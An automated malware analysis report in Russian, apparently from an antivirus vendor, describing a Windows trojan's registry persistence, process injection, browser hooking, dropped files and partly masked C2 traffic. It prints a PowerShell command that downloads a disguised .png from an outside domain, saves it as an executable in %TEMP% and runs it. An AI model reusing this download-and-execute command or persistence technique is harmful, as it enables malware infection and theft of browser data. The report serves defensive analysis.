Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] 'ZF4PGTBPGZ' = '%ProgramFiles(x86)%\Yd8uduf\colorcplippdbb.exe'
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.at##y.xyz/sum/rockdoz.png','%TEMP%\rockdoz.exe');%TEMP%\rockdoz.exe
Внедряет код в
следующие системные процессы:
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\ipconfig.exe
следующие пользовательские процессы:
- rockdoz.exe
- iexplore.exe
- firefox.exe
Перехватывает функции
в браузерах
- Процесс firefox.exe, модуль nss3.dll
- Процесс iexplore.exe, модуль wininet.dll
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\trbatehtqevyaw.sct
- %TEMP%\1.exe
- %TEMP%\rockdoz.exe
- %APPDATA%\l0a7pa8f\l0alogri.ini
- %APPDATA%\l0a7pa8f\l0alogrv.ini
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %APPDATA%\l0a7pa8f\l0alogim.jpeg
- %APPDATA%\l0a7pa8f\l0alogrf.ini
Удаляет следующие файлы
- %TEMP%\rockdoz.exe
Сетевая активность
TCP
Запросы HTTP GET
- http://www.at##y.xyz/sum/rockdoz.png
- http://bt##y.xyz/town/doz.bin
- http://ly##qm.com/cm/js/main/?-Z#################################################################################################
- http://po#.ink/cm/js/main/?-Z#######################################################################################################
- http://pa####tgirona.com/cm/js/main/?-Z#######################################################################################################
UDP
- DNS ASK at##y.xyz
- DNS ASK bt##y.xyz
- DNS ASK ly##qm.com
- DNS ASK zh###youyan.com
- DNS ASK po#.ink
- DNS ASK pa####tgirona.com
Другое
Создает и запускает на исполнение
- '%TEMP%\rockdoz.exe'
- '<SYSTEM32>\cmd.exe' /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.at##y.xyz/sum/rockdoz.png','%TEMP%\rockdoz.exe');%TEMP%\rockdoz.exe' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\ipconfig.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%TEMP%\rockdoz.exe"
- '%ProgramFiles(x86)%\mozilla firefox\firefox.exe'
